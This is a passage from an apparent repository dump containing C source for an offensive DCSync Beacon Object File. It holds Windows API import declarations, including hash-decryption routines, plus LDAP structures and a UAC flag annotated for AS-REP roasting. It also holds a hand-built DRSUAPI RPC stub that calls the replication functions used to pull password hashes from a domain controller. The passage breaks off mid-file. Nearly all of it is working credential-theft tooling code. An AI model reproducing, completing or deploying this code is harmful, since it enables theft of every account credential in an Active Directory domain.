Functions\nDECLSPEC_IMPORT int __cdecl MSVCRT$_snprintf(char* buffer, size_t count, const char* format, ...);\nDECLSPEC_IMPORT void* __cdecl MSVCRT$memset(void* dest, int c, size_t count);\nDECLSPEC_IMPORT void* __cdecl MSVCRT$memcpy(void* dest, const void* src, size_t count);\nDECLSPEC_IMPORT size_t __cdecl MSVCRT$strlen(const char* str);\nDECLSPEC_IMPORT char* __cdecl MSVCRT$strcat(char* dest, const char* src);\nDECLSPEC_IMPORT void* __cdecl MSVCRT$malloc(size_t size);\nDECLSPEC_IMPORT void __cdecl MSVCRT$free(void* ptr);\n\n// Kernel32 Functions\nDECLSPEC_IMPORT void __cdecl KERNEL32$Sleep(unsigned int milliseconds);\n\n// RPC Functions\nDECLSPEC_IMPORT RPC_STATUS RPC_ENTRY RPCRT4$RpcStringBindingComposeA(\n    unsigned char* ObjUuid,\n    unsigned char* ProtSeq,\n    unsigned char* NetworkAddr,\n    unsigned char* Endpoint,\n    unsigned char* Options,\n    unsigned char** StringBinding);\n\nDECLSPEC_IMPORT RPC_STATUS RPC_ENTRY RPCRT4$RpcBindingFromStringBindingA(\n    unsigned char* StringBinding,\n    RPC_BINDING_HANDLE* Binding);\n\nDECLSPEC_IMPORT RPC_STATUS RPC_ENTRY RPCRT4$RpcStringFreeA(unsigned char** String);\nDECLSPEC_IMPORT RPC_STATUS RPC_ENTRY RPCRT4$RpcBindingFree(RPC_BINDING_HANDLE* Binding);\n\nDECLSPEC_IMPORT RPC_STATUS RPC_ENTRY RPCRT4$RpcBindingSetAuthInfoA(\n    RPC_BINDING_HANDLE Binding,\n    unsigned char* ServerPrincName,\n    unsigned long AuthnLevel,\n    unsigned long AuthnSvc,\n    void* AuthIdentity,\n    unsigned long AuthzSvc);\n\nDECLSPEC_IMPORT RPC_STATUS RPC_ENTRY RPCRT4$RpcBindingSetOption(\n    RPC_BINDING_HANDLE hBinding,\n    unsigned long option,\n    ULONG_PTR optionValue);\n\nDECLSPEC_IMPORT RPC_STATUS RPC_ENTRY RPCRT4$I_RpcBindingInqSecurityContext(\n    RPC_BINDING_HANDLE Binding,\n    void** SecurityContextHandle);\n\nDECLSPEC_IMPORT RPC_STATUS RPC_ENTRY RPCRT4$UuidCreate(UUID* Uuid);\n\nDECLSPEC_IMPORT CLIENT_CALL_RETURN RPC_VAR_ENTRY RPCRT4$NdrClientCall2(\n    void* pStubDescriptor,\n    void* pFormat,\n    ...);\n\n// Crypto Functions\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptAcquireContextA(\n    HCRYPTPROV* phProv,\n    LPCSTR szContainer,\n    LPCSTR szProvider,\n    DWORD dwProvType,\n    DWORD dwFlags);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptReleaseContext(\n    HCRYPTPROV hProv,\n    DWORD dwFlags);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptCreateHash(\n    HCRYPTPROV hProv,\n    ALG_ID Algid,\n    HCRYPTKEY hKey,\n    DWORD dwFlags,\n    HCRYPTHASH* phHash);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptHashData(\n    HCRYPTHASH hHash,\n    const BYTE* pbData,\n    DWORD dwDataLen,\n    DWORD dwFlags);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptDeriveKey(\n    HCRYPTPROV hProv,\n    ALG_ID Algid,\n    HCRYPTHASH hBaseData,\n    DWORD dwFlags,\n    HCRYPTKEY* phKey);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptDecrypt(\n    HCRYPTKEY hKey,\n    HCRYPTHASH hHash,\n    BOOL Final,\n    DWORD dwFlags,\n    BYTE* pbData,\n    DWORD* pdwDataLen);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptImportKey(\n    HCRYPTPROV hProv,\n    const BYTE* pbData,\n    DWORD dwDataLen,\n    HCRYPTKEY hPubKey,\n    DWORD dwFlags,\n    HCRYPTKEY* phKey);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptGetHashParam(\n    HCRYPTHASH hHash,\n    DWORD dwParam,\n    BYTE* pbData,\n    DWORD* pdwDataLen,\n    DWORD dwFlags);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptDestroyKey(HCRYPTKEY hKey);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptDestroyHash(HCRYPTHASH hHash);\n\nDECLSPEC_IMPORT NTSTATUS WINAPI ADVAPI32$SystemFunction025(\n    const BYTE* EncryptedData,\n    const DWORD* Key,\n    BYTE* DecryptedData);\n\nDECLSPEC_IMPORT SECURITY_STATUS WINAPI SECUR32$QueryContextAttributesA(\n    PCtxtHandle phContext,\n    unsigned long ulAttribute,\n    void* pBuffer);\n\nDECLSPEC_IMPORT SECURITY_STATUS WINAPI SECUR32$FreeContextBuffer(\n    void* pvContextBuffer);\n\n// ============================================================================\n// Global Variables (External)\n// ============================================================================\n\n#endif // DCSYNC_H\n"
  },
  {
    "path": "AD-BOF/DCSync-BOF/_include/ldap_common.h",
    "content": "#ifndef LDAP_COMMON_H\n#define LDAP_COMMON_H\n\n#include <windows.h>\n\n// LDAP structures and constants\ntypedef struct ldap {\n    struct {\n        UINT_PTR sb_sd;\n        UCHAR Reserved1[(10*sizeof(ULONG))+1];\n        ULONG_PTR sb_naddr;\n        UCHAR Reserved2[(6*sizeof(ULONG))];\n    } ld_sb;\n    char *ld_host;\n    ULONG ld_version;\n    UCHAR ld_lberoptions;\n    ULONG ld_deref;\n    ULONG ld_timelimit;\n    ULONG ld_sizelimit;\n    ULONG ld_errno;\n    char *ld_matched;\n    char *ld_error;\n    ULONG ld_msgid;\n    UCHAR Reserved3[(6*sizeof(ULONG))+1];\n    ULONG ld_cldaptries;\n    ULONG ld_cldaptimeout;\n    ULONG ld_refhoplimit;\n    ULONG ld_options;\n} LDAP, *PLDAP;\n\ntypedef struct berval {\n    ULONG bv_len;\n    char *bv_val;\n} LDAP_BERVAL, *PLDAP_BERVAL, BERVAL, *PBERVAL, BerValue;\n\ntypedef struct berelement {\n  char *opaque;\n} BerElement;\n\ntypedef struct ldapmodA {\n    ULONG mod_op;\n    char *mod_type;\n    union {\n        char **modv_strvals;\n        struct berval **modv_bvals;\n    } mod_vals;\n} LDAPModA, *PLDAPModA;\n\ntypedef struct ldapcontrolA {\n    char *ldctl_oid;\n    struct berval ldctl_value;\n    BOOLEAN ldctl_iscritical;\n} LDAPControlA, *PLDAPControlA;\n\ntypedef struct ldapmsg {\n    ULONG lm_msgid;\n    ULONG lm_msgtype;\n    PVOID lm_ber;\n    struct ldapmsg* lm_chain;\n    struct ldapmsg* lm_next;\n    ULONG lm_time;\n    LDAP* Connection;\n    PVOID Request;\n    ULONG lm_returncode;\n    USHORT lm_referral;\n    BOOLEAN lm_chased;\n    BOOLEAN lm_eom;\n    BOOLEAN ConnectionReferenced;\n} LDAPMessage, *PLDAPMessage;\n\n// LDAP Constants\n#define LDAP_PORT 389\n#define LDAP_SSL_PORT 636\n#define LDAP_VERSION3 3\n\n// LDAP SSL Options\n#define LDAP_OPT_SSL 0x0a\n#define LDAP_OPT_SSL_OFF 0\n#define LDAP_OPT_SSL_ON 1\n\n// LDAP Operation Constants\n#define LDAP_MOD_ADD 0x00\n#define LDAP_MOD_DELETE 0x01\n#define LDAP_MOD_REPLACE 0x02\n#define LDAP_MOD_BVALUES 0x80\n\n// LDAP Return Codes\n#define LDAP_SUCCESS 0x00\n#define LDAP_OPERATIONS_ERROR 0x01\n#define LDAP_PROTOCOL_ERROR 0x02\n#define LDAP_TIMELIMIT_EXCEEDED 0x03\n#define LDAP_ALREADY_EXISTS 0x44\n#define LDAP_INSUFFICIENT_RIGHTS 0x32\n#define LDAP_INVALID_DN_SYNTAX 0x22\n#define LDAP_NO_SUCH_OBJECT 0x20\n#define LDAP_SERVER_DOWN 0x51\n#define LDAP_INVALID_CREDENTIALS 0x31\n#define LDAP_NO_SUCH_ATTRIBUTE 0x10\n#define LDAP_CONSTRAINT_VIOLATION 0x13\n#define LDAP_TYPE_OR_VALUE_EXISTS 0x14\n#define LDAP_ATTRIBUTE_OR_VALUE_EXISTS\tLDAP_TYPE_OR_VALUE_EXISTS\n#define LDAP_UNWILLING_TO_PERFORM 0x35\n#define LDAP_OBJECT_CLASS_VIOLATION 0x41\n\n// LDAP Options\n#define LDAP_OPT_PROTOCOL_VERSION 0x11\n#define LDAP_OPT_VERSION 0x11\n#define LDAP_OPT_SERVER_CERTIFICATE 0x81\n#define LDAP_OPT_SIGN 0x95\n#define LDAP_OPT_ENCRYPT 0x96\n\n// LDAP SSL Certificate Verification\n#define LDAP_OPT_ON ((void*)1)\n#define LDAP_OPT_OFF ((void*)0)\n\n// Certificate callback type\ntypedef BOOLEAN (*VERIFYSERVERCERT)(PLDAP Connection, PCCERT_CONTEXT pServerCert);\n\n// Authentication methods\n#define LDAP_AUTH_NEGOTIATE 0x0486\n\n// LDAP search scope values\n#define LDAP_SCOPE_BASE 0x00\n#define LDAP_SCOPE_ONELEVEL 0x01\n#define LDAP_SCOPE_SUBTREE 0x02\n\n// User Account Control (UAC) flags\n// Reference: https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties\n#define UF_SCRIPT                           0x00000001  // Logon script executed\n#define UF_ACCOUNTDISABLE                   0x00000002  // Account disabled\n#define UF_HOMEDIR_REQUIRED                 0x00000008  // Home directory required\n#define UF_LOCKOUT                          0x00000010  // Account locked out\n#define UF_PASSWD_NOTREQD                   0x00000020  // No password required\n#define UF_PASSWD_CANT_CHANGE               0x00000040  // User cannot change password\n#define UF_ENCRYPTED_TEXT_PWD_ALLOWED       0x00000080  // Store password using reversible encryption\n#define UF_TEMP_DUPLICATE_ACCOUNT           0x00000100  // Local user account\n#define UF_NORMAL_ACCOUNT                   0x00000200  // Default account type (user)\n#define UF_INTERDOMAIN_TRUST_ACCOUNT        0x00000800  // Interdomain trust account\n#define UF_WORKSTATION_TRUST_ACCOUNT        0x00001000  // Workstation trust account (computer)\n#define UF_SERVER_TRUST_ACCOUNT             0x00002000  // Domain controller account\n#define UF_DONT_EXPIRE_PASSWD               0x00010000  // Password never expires\n#define UF_MNS_LOGON_ACCOUNT                0x00020000  // MNS logon account\n#define UF_SMARTCARD_REQUIRED               0x00040000  // Smart card required for interactive logon\n#define UF_TRUSTED_FOR_DELEGATION           0x00080000  // Account trusted for Kerberos delegation\n#define UF_NOT_DELEGATED                    0x00100000  // Account cannot be delegated\n#define UF_USE_DES_KEY_ONLY                 0x00200000  // Restrict to DES encryption types\n#define UF_DONT_REQ_PREAUTH                 0x00400000  // Kerberos pre-authentication not required (AS-REP roasting!)\n#define UF_PASSWORD_EXPIRED                 0x00800000  // Password expired\n#define UF_TRUSTED_TO_AUTH_FOR_DELEGATION   0x01000000  // Account enabled for delegation (constrained delegation)\n#define UF_NO_AUTH_DATA_REQUIRED            0x02000000  // Account does not require Kerberos PAC\n#define UF_PARTIAL_SECRETS_ACCOUNT          0x04000000  // RODC partial secrets account\n\n// Account type flags (should never be cleared)\n#define UF_ACCOUNT_TYPE_MASK (UF_NORMAL_ACCOUNT | UF_WORKSTATION_TRUST_ACCOUNT | UF_SERVER_TRUST_ACCOUNT | UF_INTERDOMAIN_TRUST_ACCOUNT)\n\n// NETAPI32 imports for DC discovery\ntypedef struct _DOMAIN_CONTROLLER_INFOA {\n    LPSTR DomainControllerName;\n    LPSTR DomainControllerAddress;\n    ULONG DomainControllerAddressType;\n    GUID DomainGuid;\n    LPSTR DomainName;\n    LPSTR DnsForestName;\n    ULONG Flags;\n    LPSTR DcSiteName;\n    LPSTR ClientSiteName;\n} DOMAIN_CONTROLLER_INFOA, *PDOMAIN_CONTROLLER_INFOA;\n\nDECLSPEC_IMPORT DWORD WINAPI NETAPI32$DsGetDcNameA(\n    LPCSTR ComputerName,\n    LPCSTR DomainName,\n    GUID *DomainGuid,\n    LPCSTR SiteName,\n    ULONG Flags,\n    PDOMAIN_CONTROLLER_INFOA *DomainControllerInfo\n);\n\nDECLSPEC_IMPORT DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID Buffer);\n\n// LDAP API function imports - ANSI versions (use char* to avoid PCHAR conflicts)\nDECLSPEC_IMPORT LDAP* WLDAP32$ldap_init(char* HostName, ULONG PortNumber);\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_set_option(LDAP* ld, int option, const void* invalue);\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_get_option(LDAP* ld, int option, void* outvalue);\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_bind_s(LDAP* ld, const char* dn, const char* cred, ULONG method);\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_unbind_s(LDAP* ld);\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_add_s(LDAP* ld, const char* dn, LDAPModA** attrs);\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_modify_s(LDAP* ld, const char* dn, LDAPModA** mods);\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_count_values(char** vals);\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_delete_s(LDAP* ld, const char* dn);\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_search_s(LDAP* ld, const char* base, ULONG scope, const char* filter, char** attrs, ULONG attrsonly, LDAPMessage** res);\nDECLSPEC_IMPORT LDAPMessage* WLDAP32$ldap_first_entry(LDAP* ld, LDAPMessage* res);\nDECLSPEC_IMPORT LDAPMessage* WLDAP32$ldap_next_entry(LDAP* ld, LDAPMessage* entry);\nDECLSPEC_IMPORT char** WLDAP32$ldap_get_values(LDAP* ld, LDAPMessage* entry, const char* attr);\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_value_free(char** vals);\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_msgfree(LDAPMessage* res);\nDECLSPEC_IMPORT char* WLDAP32$ldap_first_attribute(LDAP* ld, LDAPMessage* entry, BerElement** ber);\nDECLSPEC_IMPORT char* WLDAP32$ldap_next_attribute(LDAP* ld, LDAPMessage* entry, BerElement* ber);\nDECLSPEC_IMPORT void WLDAP32$ldap_memfree(char* block);\nDECLSPEC_IMPORT void WLDAP32$ber_free(BerElement* ber, int freebuf);\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_count_entries(LDAP* ld, LDAPMessage* res);\nDECLSPEC_IMPORT char* WLDAP32$ldap_err2stringA(ULONG err);\nDECLSPEC_IMPORT struct berval** WLDAP32$ldap_get_values_len(LDAP* ld, LDAPMessage* entry, const char* attr);\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_value_free_len(struct berval** vals);\n\n// Structure to hold user information from LDAP query\ntypedef struct _USER_LDAP_INFO {\n    char* distinguishedName;\n    char* samAccountName;\n    GUID objectGuid;\n} USER_LDAP_INFO;\n\n// Structure to hold domain controller context information\ntypedef struct _DC_CONTEXT {\n    char* defaultNamingContext;\n    GUID dcObjectGuid;\n} DC_CONTEXT;\n\n// Shared function declarations\nLDAP* InitializeLDAPConnection(const char* dcAddress, BOOL useLdaps, char** outDcHostname);\nDC_CONTEXT* GetDCContext(LDAP* ld, const char* dcHostname);\nvoid FreeDCContext(DC_CONTEXT* context);\nchar* GetDefaultNamingContext(LDAP* ld, const char* dcHostname);\nUSER_LDAP_INFO* GetUserInfo(LDAP* ld, const char* identifier, const char* searchBase, BOOL isDN);\nvoid FreeUserInfo(USER_LDAP_INFO* userInfo);\nvoid CleanupLDAP(LDAP* ld);\n\n// Helper string conversion functions\nwchar_t* CharToWChar(const char* str);\n\n#endif // LDAP_COMMON_H"
  },
  {
    "path": "AD-BOF/DCSync-BOF/drsuapi/ms-drsr-custom.c",
    "content": "/*\n * Minimal RPC stub for DCSync  \n * Format strings extracted from ms-drsr_c.c (full MIDL-generated stub)\n * \n * Key offsets:\n *   IDL_DRSBind: 0\n *   IDL_DRSUnbind: 60  \n *   IDL_DRSReplicaSync: 104\n *   IDL_DRSGetNCChanges: 160\n */\n\n#include <windows.h>\n#include \"ms-drsr.h\"\n\n// BOF compatibility\n#define NdrClientCall2 RPCRT4$NdrClientCall2\n\nDECLSPEC_IMPORT CLIENT_CALL_RETURN RPC_VAR_ENTRY RPCRT4$NdrClientCall2(\n    PMIDL_STUB_DESC pStubDescriptor,\n    PFORMAT_STRING pFormat,\n    ...);\n\nextern void* __RPC_USER MIDL_user_allocate(size_t);\nextern void __RPC_USER MIDL_user_free(void*);\n\n// Format string structures\ntypedef struct _ms2Ddrsr_MIDL_TYPE_FORMAT_STRING {\n    short Pad;\n    unsigned char Format[7867];\n} ms2Ddrsr_MIDL_TYPE_FORMAT_STRING;\n\ntypedef struct _ms2Ddrsr_MIDL_PROC_FORMAT_STRING {\n    short Pad;\n    unsigned char Format[2113];\n} ms2Ddrsr_MIDL_PROC_FORMAT_STRING;\n\n// Forward declarations\nstatic const ms2Ddrsr_MIDL_TYPE_FORMAT_STRING ms2Ddrsr__MIDL_TypeFormatString;\nconst ms2Ddrsr_MIDL_PROC_FORMAT_STRING ms2Ddrsr__MIDL_ProcFormatString;\nstatic RPC_BINDING_HANDLE drsuapi__MIDL_AutoBindHandle;\n\n// RPC Client Interface (drsuapi UUID)\nstatic const RPC_CLIENT_INTERFACE drsuapi___RpcClientInterface = {\n    sizeof(RPC_CLIENT_INTERFACE),\n    {{0xe3514235,0x4b06,0x11d1,{0xab,0x04,0x00,0xc0,0x4f,0xc2,0xdc,0xd2}},{4,0}},\n    {{0x8a885d04,0x1ceb,0x11c9,{0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60}},{2,0}},\n    0, 0, 0, 0, 0, 0\n};\n\n// Stub descriptor  \nstatic const MIDL_STUB_DESC drsuapi_StubDesc = {\n    (void*)&drsuapi___RpcClientInterface,\n    MIDL_user_allocate,\n    MIDL_user_free,\n    &drsuapi__MIDL_AutoBindHandle,\n    0, 0, 0, 0,\n    ms2Ddrsr__MIDL_TypeFormatString.Format,\n    1, 0x60000, 0, 0x8000253, 0, 0, 0, 0x1, 0, 0, 0\n};\n\n// Minimal wrapper functions\nULONG IDL_DRSBind(\n    handle_t rpc_handle,\n    UUID *puuidClientDsa,\n    DRS_EXTENSIONS *pextClient,\n    DRS_EXTENSIONS **ppextServer,\n    DRS_HANDLE *phDrs)\n{\n    return (ULONG)NdrClientCall2(\n        (PMIDL_STUB_DESC)&drsuapi_StubDesc,\n        (PFORMAT_STRING)&ms2Ddrsr__MIDL_ProcFormatString.Format[0],\n        rpc_handle, puuidClientDsa, pextClient, ppextServer, phDrs\n    ).Simple;\n}\n\nULONG IDL_DRSUnbind(DRS_HANDLE *phDrs)\n{\n    return (ULONG)NdrClientCall2(\n        (PMIDL_STUB_DESC)&drsuapi_StubDesc,\n        (PFORMAT_STRING)&ms2Ddrsr__MIDL_ProcFormatString.Format[60],\n        phDrs\n    ).Simple;\n}\n\nULONG IDL_DRSReplicaSync(\n    DRS_HANDLE hDrs,\n    DWORD dwVersion,\n    DRS_MSG_REPSYNC *pmsgSync)\n{\n    return (ULONG)NdrClientCall2(\n        (PMIDL_STUB_DESC)&drsuapi_StubDesc,\n        (PFORMAT_STRING)&ms2Ddrsr__MIDL_ProcFormatString.Format[104],\n        hDrs, dwVersion, pmsgSync\n    ).Simple;\n}\n\nULONG IDL_DRSGetNCChanges(\n    DRS_HANDLE hDrs,\n    DWORD dwInVersion,\n    DRS_MSG_GETCHGREQ *pmsgIn,\n    DWORD *pdwOutVersion,\n    DRS_MSG_GETCHGREPLY *pmsgOut)\n{\n    return (ULONG)NdrClientCall2(\n        (PMIDL_STUB_DESC)&drsuapi_StubDesc,\n        (PFORMAT_STRING)&ms2Ddrsr__MIDL_ProcFormatString.Format[160],\n        hDrs, dwInVersion, pmsgIn, pdwOutVersion, pmsgOut\n    ).Simple;\n}\n\n// PROC Format String (extracted from ms-drsr_c.c)\nconst ms2Ddrsr_MIDL_PROC_FORMAT_STRING ms2Ddrsr__MIDL_ProcFormatString =\n    {\n        0,\n        {\n\t/* Procedure IDL_DRSBind */\n\n\t\t\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/*  2 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/*  6 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/*  8 */\tNdrFcShort( 0x30 ),\t/* x86 Stack size/offset = 48 */\n/* 10 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 12 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 14 */\tNdrFcShort( 0x44 ),\t/* 68 */\n/* 16 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 18 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 20 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 22 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 24 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 26 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 28 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter puuidClientDsa */\n\n/* 30 */\tNdrFcShort( 0xa ),\t/* Flags:  must free, in, */\n/* 32 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 34 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pextClient */\n\n/* 36 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 38 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 40 */\tNdrFcShort( 0x18 ),\t/* Type Offset=24 */\n\n\t/* Parameter ppextServer */\n\n/* 42 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 44 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 46 */\tNdrFcShort( 0x3a ),\t/* Type Offset=58 */\n\n\t/* Parameter phDrs */\n\n/* 48 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 50 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 52 */\tNdrFcShort( 0x42 ),\t/* Type Offset=66 */\n\n\t/* Return value */\n\n/* 54 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 56 */\tNdrFcShort( 0x28 ),\t/* x86 Stack size/offset = 40 */\n/* 58 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DRSUnbind */\n\n/* 60 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 62 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 66 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 68 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 70 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe0,\t\t/* Ctxt flags:  via ptr, in, out, */\n/* 72 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 74 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 76 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 78 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 80 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 82 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 84 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 86 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 88 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 90 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter phDrs */\n\n/* 92 */\tNdrFcShort( 0x118 ),\t/* Flags:  in, out, simple ref, */\n/* 94 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 96 */\tNdrFcShort( 0x4a ),\t/* Type Offset=74 */\n\n\t/* Return value */\n\n/* 98 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 100 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 102 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DRSReplicaSync */\n\n/* 104 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 106 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 110 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 112 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 114 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 116 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 118 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 120 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 122 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 124 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 126 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 128 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 130 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 132 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 134 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hDrs */\n\n/* 136 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 138 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 140 */\tNdrFcShort( 0x4e ),\t/* Type Offset=78 */\n\n\t/* Parameter dwVersion */\n\n/* 142 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 144 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 146 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgSync */\n\n/* 148 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 150 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 152 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Return value */\n\n/* 154 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 156 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 158 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DRSGetNCChanges */\n\n/* 160 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 162 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 166 */\tNdrFcShort( 0x3 ),\t/* 3 */\n/* 168 */\tNdrFcShort( 0x30 ),\t/* x86 Stack size/offset = 48 */\n/* 170 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 172 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 174 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 176 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 178 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 180 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 182 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 184 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 186 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 188 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 190 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hDrs */\n\n/* 192 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 194 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 196 */\tNdrFcShort( 0x4e ),\t/* Type Offset=78 */\n\n\t/* Parameter dwInVersion */\n\n/* 198 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 200 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 202 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgIn */\n\n/* 204 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 206 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 208 */\tNdrFcShort( 0x114 ),\t/* Type Offset=276 */\n\n\t/* Parameter pdwOutVersion */\n\n/* 210 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 212 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 214 */\t0x8,\t\t/* FC_LONG 